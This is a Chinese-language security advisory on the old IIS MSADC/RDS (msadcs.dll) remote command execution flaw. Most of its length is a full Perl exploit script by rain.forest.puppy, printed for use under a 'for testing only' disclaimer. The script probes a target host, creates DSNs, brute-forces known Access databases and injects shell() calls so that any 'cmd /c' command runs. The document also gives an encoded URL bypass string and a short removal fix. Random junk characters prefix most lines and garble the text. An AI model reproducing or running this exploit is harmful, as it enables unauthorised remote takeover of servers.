IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&y!?R$?b --$* q"
涉及程序：
%bnXZA2Sx Microsoft NT server
svpQ.Q H<d~AurX)J 描述：
y_m +&Oe 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
a HN"I
8c5YX 详细：
6b|<$Je9 如果你没有时间读详细内容的话，就删除:
R`(2Fy%0\k c:\Program Files\Common Files\System\Msadc\msadcs.dll
9KVJk</:n 有关的安全问题就没有了。
C|ZPnm>f30 R U)(|; 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
wn"}<ka "B QnP9 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
nCY kUDn Z 关于利用ODBC远程漏洞的描述，请参看:
Ty g>Xv <YvXyIs http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm E+]}KX: zu d_BOq{f 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Im;%.J http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;e ?M;- ?[JP[
qS 这里不再论述。
J*;RL` nH#>_R
( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
C hF~ Y-ao
yoNS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
UGAV"0 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
t6"%u3W8M C:B 7%< KlT:&1SB9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
`nF SJlr& Vuz.b. ,i` #!perl
R*r4)+gd #
UF+Qx/4h0 # MSADC/RDS 'usage' (aka exploit) script
2 >o[ #
*2h%dT:,% # by rain.forest.puppy
G4(R/<J,BQ #
?Bf>G]zx # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Yc[umn^K # beta test and find errors!
`w!XO$"]Z c5ij2X| I use Socket; use Getopt::Std;
u`'" =Y_E getopts("e:vd:h:XR", \%args);
E0ED[d, ^8
VW$} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
KW:N
6w B%tF|KKj if (!defined $args{h} && !defined $args{R}) {
$7q3[skH print qq~
4aHogheg Usage: msadc.pl -h <host> { -d <delay> -X -v }
neFwxS? -h <host> = host you want to scan (ip or domain)
oxxuw
Dc l -d <seconds> = delay between calls, default 1 second
bv 4umL / -X = dump Index Server path table, if available
^L%_kL_7 -v = verbose
t\,Y<9{ w -e = external dictionary file for step 5
n{gEIUo# q %sZV> Or a -R will resume a command session
lE k@I" -Pp cFLZ| ~; exit;}
COw"6czX/ T8+[R2_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
i.E2a) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%axr@o[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
x_Ev2
c'4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3X gJZ
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
@}
Ig*@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
cQEUHhRg! FI^Wh7J if (!defined $args{R}){ $ret = &has_msadc;
F OF@@C~aH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
e \6H.9= Tri\5O0lPs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
TsFhrtnx&X . "cmd /c ";
]^ R':YE $in=<STDIN>; chomp $in;
1ui)Hv=h* $command="cmd /c " . $in ;
g}W`LIasv 8"&!3_ if (defined $args{R}) {&load; exit;}
`0Udg,KOs b<tV>d"Fv print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<D |&)/# &try_btcustmr;
m z0{eO f\
P0% print "\nStep 2: Trying to make our own DSN...";
k{2Gq1S { &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
33~MP; >` s"C print "\nStep 3: Trying known DSNs...";
s&$?m [w &known_dsn;
<1* kXTN( T f3CyH!k print "\nStep 4: Trying known .mdbs...";
S/E&&{`ls &known_mdb;
"WKOlfPa QATRrIj{e if (defined $args{e}){
Bc8&-eZ , print "\nStep 5: Trying dictionary of DSN names...";
J.UNw8z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{]\7
M|9\
wa@Rlzij> print "Sorry Charley...maybe next time?\n";
!Q>xVlPVu exit;
{ { \oC$ $UzSP hv[ ##############################################################################
EGl<oxL*R2 ZS.=GjK sub sendraw { # ripped and modded from whisker
M@T{uo sleep($delay); # it's a DoS on the server! At least on mine...
v-#,@&Uwq my ($pstr)=@_;
qxI $F socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?-j/X6(\( die("Socket problems\n");
3S3 a|_+% if(connect(S,pack "SnA4x8",2,80,$target)){
+<Gp >c select(S); $|=1;
M nD}i&k[ print $pstr; my @in=<S>;
<{W{
Y\_A> select(STDOUT); close(S);
$z_yx
`5 return @in;
:aOR@])>o } else { die("Can't connect...\n"); }}
^=x /:0 ;n't :yQW ##############################################################################
f9#zV2ke] ~lV#- m* sub make_header { # make the HTTP request
w XUR9H|0( my $msadc=<<EOT
o<5`uV!f POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[3X\"x5@V User-Agent: ACTIVEDATA
}F]Z1( ' Host: $ip
at?I @By Content-Length: $clen
I7_lKr3 Connection: Keep-Alive
48 - j I T NFmD ADCClientVersion:01.06
OP\jO DX Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\l g
^rfj 7I
~O| Mw --!ADM!ROX!YOUR!WORLD!
eQi^d/yi Content-Type: application/x-varg
!\#Wq{p>W* Content-Length: $reqlen
K^!#;,0 $]LS!@ Rm EOT
V<
F &\ ; $msadc=~s/\n/\r\n/g;
I3> 8B return $msadc;}
N'y<<tTA N7s0Ua'-v ##############################################################################
Gbhw7
(& - ;gQy [U sub make_req { # make the RDS request
'=;e#
C`<{ my ($switch, $p1, $p2)=@_;
F`4W5~` my $req=""; my $t1, $t2, $query, $dsn;
x:-NTW
-g @A6iY if ($switch==1){ # this is the btcustmr.mdb query
s= {>{,E $query="Select * from Customers where City=" . make_shell();
KH,f'` $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
w!"A$+~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Y%/RGYKh 4
Y=0>FlY0 elsif ($switch==2){ # this is general make table query
] !*K|?VL $query="create table AZZ (B int, C varchar(10))";
qeM DC#N $dsn="$p1";}
,esEh5=Ir m%.4OXX"& elsif ($switch==3){ # this is general exploit table query
8 0Y% C-Y: $query="select * from AZZ where C=" . make_shell();
' ;G/,wB?` $dsn="$p1";}
oO;L l?~ 3!9JXq%Hl elsif ($switch==4){ # attempt to hork file info from index server
M_!]9#:K7 $query="select path from scope()";
d21thV ,S $dsn="Provider=MSIDXS;";}
2 D%2 k `]65&hWZL elsif ($switch==5){ # bad query
0y$VPg sKf $query="select";
G$a@}9V $dsn="$p1";}
5
Y&`Z J gE #|eiu $t1= make_unicode($query);
#r9\.NA! $t2= make_unicode($dsn);
"iEnsP@'Wg $req = "\x02\x00\x03\x00";
X_'tgP9 $req.= "\x08\x00" . pack ("S1", length($t1));
6{;6~?U $req.= "\x00\x00" . $t1 ;
2 K_ QZ
$req.= "\x08\x00" . pack ("S1", length($t2));
6)sKg{H $req.= "\x00\x00" . $t2 ;
tC'#dU`=qY $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
rL\}>VC) return $req;}
Rng-o! ?8 $`GyjS ##############################################################################
3~fi#{ :JSxsA6 k sub make_shell { # this makes the shell() statement
3F"vK return "'|shell(\"$command\")|'";}
SOG(&)b
GI{EP& C ##############################################################################
%!iqJ)*~ NUM!'+H_h sub make_unicode { # quick little function to convert to unicode
5$+7Q$Gw my ($in)=@_; my $out;
7Wef[N\x for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=tt D5 p return $out;}
*i*\ dl ^nZ=B>Yn2 ##############################################################################
nY MtK ]a.e ;c- sub rdo_success { # checks for RDO return success (this is kludge)
d s`YVXKH my (@in) = @_; my $base=content_start(@in);
FrMXf,} if($in[$base]=~/multipart\/mixed/){
T x
Mh_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J8\l'} ?& return 0;}
f~l pa7 ]?_~ QE` ##############################################################################
1VYH:uGuAU $MvKwQ/ sub make_dsn { # this makes a DSN for us
D0 k ,8| my @drives=("c","d","e","f");
kj2qX9 Ms print "\nMaking DSN: ";
}s?3 foreach $drive (@drives) {
@ *J bp print "$drive: ";
o,j_eheAM my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4w|t| ? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2wO8;wiA . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Wj 3i*x$
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[[_>D M return 0 if $2 eq "404"; # not found/doesn't exist
Z[[*:9rY| if($2 eq "200") {
ag8)^p'9 foreach $line (@results) {
b,:^\HKC return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
VS4Glx73 } return 0;}
.qe+"$K'n ;^s|n)F#c ##############################################################################
\x$`/ m K TF@DED sub verify_exists {
;fV"5H)U\ my ($page)=@_;
d. d J^M my @results=sendraw("GET $page HTTP/1.0\n\n");
vy2<'V*y} return $results[0];}
\6GNKeN V %[t'uh ##############################################################################
{_ W8Qm`. U}HSL5v sub try_btcustmr {
/Q9Cvj)" my @drives=("c","d","e","f");
6t!=k6`1 my @dirs=("winnt","winnt35","winnt351","win","windows");
512p \x@ uB\UIz)e foreach $dir (@dirs) {
w8 S
pt print "$dir -> "; # fun status so you can see progress
,y"vf^BE. foreach $drive (@drives) {
z z]~IxQ print "$drive: "; # ditto
A]Hz?i $reqlen=length( make_req(1,$drive,$dir) ) - 28;
y)L X? d $reqlenlen=length( "$reqlen" );
_GY2|x2c $clen= 206 + $reqlenlen + $reqlen;
3R$R?^G Hwd^C 2v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
V O 1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}x$@ j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
i+QVs_jW 'N6oXE ##############################################################################
7gLk~* vC&0UNe$ sub odbc_error {
1r4NP my (@in)=@_; my $base;
**-rPonM[ my $base = content_start(@in);
UazK0{t<f if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
RJ3uu NK7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8 |=
c3Z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=KO]w 9+\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K_t >T)K return $in[$base+4].$in[$base+5].$in[$base+6];}
\ aof print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
m{> " print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
x| D|d} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|,Ks J2hD [<
9%IGH ##############################################################################
8d1qRCIz VWd`06'BN' sub verbose {
r9-ayp#pC my ($in)=@_;
zGme}z;1@ return if !$verbose;
d|87;;X|u print STDOUT "\n$in\n";}
}X])055S LIJ#n b ##############################################################################
!iHC++D NG\'Ii:-J sub save {
e|SN b*_ my ($p1, $p2, $p3, $p4)=@_;
\ eba9i^ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_"H\,7E print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&RuTq6)r close OUT;}
$uwz` N: ,| 8aDL? ##############################################################################
e 7n0 =U0 TSJeS`I sub load {
EGFP$n vq my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(VkO[5j open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r1.zURY @p=<IN>; close(IN);
=> o ! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
|gk4X%o6 $target= inet_aton($ip) || die("inet_aton problems");
L B.B w print "Resuming to $ip ...";
+F,])p4,]i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
i,;a( Sy4 if($p[1]==1) {
SG~HzQ\% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
TX d6o= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
V_^pP Ba my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[T'[7 Z if (rdo_success(@results)){print "Success!\n";}
c #?~1@= else { print "failed\n"; verbose(odbc_error(@results));}}
1H%p|'FKA elsif ($p[1]==3){
1bz^$2/k if(run_query("$p[3]")){
55`p~:&VQ print "Success!\n";} else { print "failed\n"; }}
( ,mV6U % elsif ($p[1]==4){
u"T9w]Z\ if(run_query($drvst . "$p[3]")){
<tO@dI$~> print "Success!\n"; } else { print "failed\n"; }}
1DU
l<&4 exit;}
GM8 >u O >'m&/&h ##############################################################################
9 M?UPE 5D-as9k* sub create_table {
*Vb#@O! my ($in)=@_;
2ZbSdaM= $reqlen=length( make_req(2,$in,"") ) - 28;
1f"}]MbLR $reqlenlen=length( "$reqlen" );
3DCR n : $clen= 206 + $reqlenlen + $reqlen;
ze
LIOw my @results=sendraw(make_header() . make_req(2,$in,""));
}U9dzU14 return 1 if rdo_success(@results);
<AJ RU
l my $temp= odbc_error(@results); verbose($temp);
4S+E% b|) return 1 if $temp=~/Table 'AZZ' already exists/;
pP# _B return 0;}
Dbx zqd R:'&>.AUw ##############################################################################
]m &Ss ?|`n&HrP sub known_dsn {
Az(,Q$"|5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gDw(_KC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&_ @M
6[- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7^@ 1cA=S "banner", "banners", "ads", "ADCDemo", "ADCTest");
2=<,#7zlJ } nIYNeP?D foreach $dSn (@dsns) {
L*p7|rq$" print ".";
x~Ir qdmW next if (!is_access("DSN=$dSn"));
.4w"3> if(create_table("DSN=$dSn")){
p_zVrlVb print "$dSn successful\n";
V%t_,AT if(run_query("DSN=$dSn")){
'F*OlZ!BWy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fS8Pi,! print "Something's borked. Use verbose next time\n";}}} print "\n";}
V'za,.d- ;$ ]a.9
- ##############################################################################
Hit )mwfYE z#n+iC$9 sub is_access {
SEu:31k{o my ($in)=@_;
SN }3 $reqlen=length( make_req(5,$in,"") ) - 28;
X rc{w Dn $reqlenlen=length( "$reqlen" );
wT3D 9N. $clen= 206 + $reqlenlen + $reqlen;
S,'ekWVD my @results=sendraw(make_header() . make_req(5,$in,""));
c8_,S[W my $temp= odbc_error(@results);
hp7ni1V verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*. A-UoHa return 0;}
(KvN#d 1\ %Zfh6Bl\X ##############################################################################
%3= T7j u#V; sub run_query {
:.{d,)G my ($in)=@_;
1x sJz^%V $reqlen=length( make_req(3,$in,"") ) - 28;
?}uvpB1} $reqlenlen=length( "$reqlen" );
\|4F? Y $clen= 206 + $reqlenlen + $reqlen;
p2O [r my @results=sendraw(make_header() . make_req(3,$in,""));
1b7?6CqV return 1 if rdo_success(@results);
P= E10 my $temp= odbc_error(@results); verbose($temp);
TL -AL tG return 0;}
Mx 3f T>? U`{ M1@$ ##############################################################################
MP
)nQ {)kL7>u]^V sub known_mdb {
wXY T(R my @drives=("c","d","e","f","g");
!WB3%E ,I my @dirs=("winnt","winnt35","winnt351","win","windows");
>*|Eyv_ my $dir, $drive, $mdb;
*Hv d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Pc+,iK> zQGj,EAM} # this is sparse, because I don't know of many
qM>Dt my @sysmdbs=( "\\catroot\\icatalog.mdb",
W3X;c*j "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
or)fx/ %h "\\system32\\certmdb.mdb",
|\ C. il7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,W]}mqV%.' Sl
\EPK ZD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
h 7xgLe@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
h-m0Ro?6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h,/3 } "\\cfusion\\cfapps\\security\\realm_.mdb",
a94 nB "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ep
l1xfr "\\cfusion\\database\\cfexamples.mdb",
O
"Aeg| "\\cfusion\\database\\cfsnippets.mdb",
-O@/S9]S) "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pUgas?e& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
i1HO> X:ea "\\cfusion\\brighttiger\\database\\cleam.mdb",
27F:-C~.9 "\\cfusion\\database\\smpolicy.mdb",
J3r':I}\ "\\cfusion\\database\cypress.mdb",
JvJ)}d$,& "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5a &gdqg] "\\website\\cgi-win\\dbsample.mdb",
{-|El}.M "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
_ JKz5hSl "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=wl0 ); #these are just
$ Fy)+< foreach $drive (@drives) {
E*v+@rv foreach $dir (@dirs){
lZ,$lZg9Z foreach $mdb (@sysmdbs) {
,M\/[_: print ".";
dVJ9cJ9^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R^K:hKQ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
X`]>J5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
I
wu^@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
LsK
fCB} } else { print "Something's borked. Use verbose next time\n"; }}}}}
m
.En!~ t tU8aPiUl foreach $drive (@drives) {
e.|t12)L " foreach $mdb (@mdbs) {
L_=3`xE
_ print ".";
^<aj~0v if(create_table($drv . $drive . $dir . $mdb)){
a
uve&y"R print "\n" . $drive . $dir . $mdb . " successful\n";
G<~P||Lu^ if(run_query($drv . $drive . $dir . $mdb)){
I%0J=V;o{ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`ih#>i_ & } else { print "Something's borked. Use verbose next time\n"; }}}}
'? E@H."" }
*m 6*sIR n8&x=Z}Xs ##############################################################################
]/mRMm9"3h Yp $@i20 sub hork_idx {
w#s P5qKv8 print "\nAttempting to dump Index Server tables...\n";
S~ y.>X3"P print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
pTYV @5| $reqlen=length( make_req(4,"","") ) - 28;
Q0""wR q ' $reqlenlen=length( "$reqlen" );
Mi[,-8Sk $clen= 206 + $reqlenlen + $reqlen;
^687U,+ my @results=sendraw2(make_header() . make_req(4,"",""));
T
zHR if (rdo_success(@results)){
r+MqjdXG my $max=@results; my $c; my %d;
:O*62olC5 for($c=19; $c<$max; $c++){
Tz/[P:O3 $results[$c]=~s/\x00//g;
7{[i) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tkdy R1- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
uF T5Z $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
c+<gc:#jy $d{"$1$2"}="";}
_b[Pk;8}j; foreach $c (keys %d){ print "$c\n"; }
\@7 4I7 } else {print "Index server doesn't seem to be installed.\n"; }}
/
DS T|2 x=1Sbs w{ ##############################################################################
pzDz@lAw R V##T G0 sub dsn_dict {
rT{ 2 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
T"Nnl(cO_ while(<IN>){
9kas]zQ%=P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
3^ F1 hCB next if (!is_access("DSN=$dSn"));
H4e2#]*i7 if(create_table("DSN=$dSn")){
Q,\S3>1n print "$dSn successful\n";
wq#'o9s, if(run_query("DSN=$dSn")){
=ZAR J4 0L print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3>^S 6h}o print "Something's borked. Use verbose next time\n";}}}
/<IXCM. print "\n"; close(IN);}
Mw d.S 71HrpTl1fw ##############################################################################
WQY\R!+ Lor__
K sub sendraw2 { # ripped and modded from whisker
/.m}y$@GV sleep($delay); # it's a DoS on the server! At least on mine...
`Jl_'P} my ($pstr)=@_;
MPJ0>Ly socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mp0! S
die("Socket problems\n");
HK.Si]: if(connect(S,pack "SnA4x8",2,80,$target)){
7+J<N@.d print "Connected. Getting data";
m P ^*nB@, open(OUT,">raw.out"); my @in;
`)1qq @ select(S); $|=1; print $pstr;
Dzw>[
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
V5]\| ?= close(OUT); select(STDOUT); close(S); return @in;
R
# m1Aa } else { die("Can't connect...\n"); }}
:,MI,SwnS ~*G}+Ur$2 ##############################################################################
z&A # d KRj3??b sub content_start { # this will take in the server headers
Um
I,?p my (@in)=@_; my $c;
; DI"9 for ($c=1;$c<500;$c++) {
g_M xG!+(V if($in[$c] =~/^\x0d\x0a/){
2}#VB;B if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
-"n8Wv else { return $c+1; }}}
>
,P,{" return -1;} # it should never get here actually
f. U.( 7, :l\t ##############################################################################
:N:e3$c 2H`;?#Uq: sub funky {
vb k4 my (@in)=@_; my $error=odbc_error(@in);
:j%
B(@b if($error=~/ADO could not find the specified provider/){
kX'a*AG print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@|Hx >|p exit;}
8BM[c;-{g` if($error=~/A Handler is required/){
o%73M!- print "\nServer has custom handler filters (they most likely are patched)\n";
<+;
cgF!+ exit;}
VI^~I; M^ if($error=~/specified Handler has denied Access/){
-<q@0IYyi print "\nServer has custom handler filters (they most likely are patched)\n";
U,^jN|v exit;}}
'J#uD|9) |>=\
VX17 ##############################################################################
_zFJ]7Ym.) OMN|ea.O sub has_msadc {
~bX ) %jC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
' ui`EL % my $base=content_start(@results);
&ETPYf%# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
8'mm<BV;sT return 0;}
;5}y7#4C Kl+4A} Uo ########################
d Y]i AJ b]5S9^=LI '5SO3/{b 解决方案：
%Z#[{yuFs 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ya,(J0l 2、移除web 目录: /msadc
